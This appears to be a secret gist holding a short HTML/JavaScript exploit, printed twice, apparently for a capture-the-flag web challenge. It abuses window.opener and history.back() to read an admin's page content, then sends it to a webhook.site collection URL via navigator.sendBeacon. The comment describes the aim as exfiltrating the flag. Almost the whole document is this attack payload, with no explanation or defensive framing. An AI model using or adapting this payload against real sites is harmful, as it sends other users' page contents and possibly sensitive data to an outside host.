ma1f0y/index.html Secret

## index.html

<html>
    <body>
        <script>
            // upload index.html to the public dir after the first admin visit which overwrites `/` response and use history.back() to exfill the flag
            (async()=>{
                if(opener){
                    opener.window.history.back()
                    await new Promise(r=>setTimeout(r,2000));
                    navigator.sendBeacon('https://webhook.site/572acb1c-44f1-433e-8a4d-8f55ae14799a',opener.window.document.body.innerHTML)
                }else{
                    window.open('/?test')
                }
        })()

        </script>
    </body>
</html>

	<html>
	<body>
	<script>
	// upload index.html to the public dir after the first admin visit which overwrites `/` response and use history.back() to exfill the flag
	(async()=>{
	if(opener){
	opener.window.history.back()
	await new Promise(r=>setTimeout(r,2000));
	navigator.sendBeacon('https://webhook.site/572acb1c-44f1-433e-8a4d-8f55ae14799a',opener.window.document.body.innerHTML)
	}else{
	window.open('/?test')
	}
	})()

	</script>
	</body>
	</html>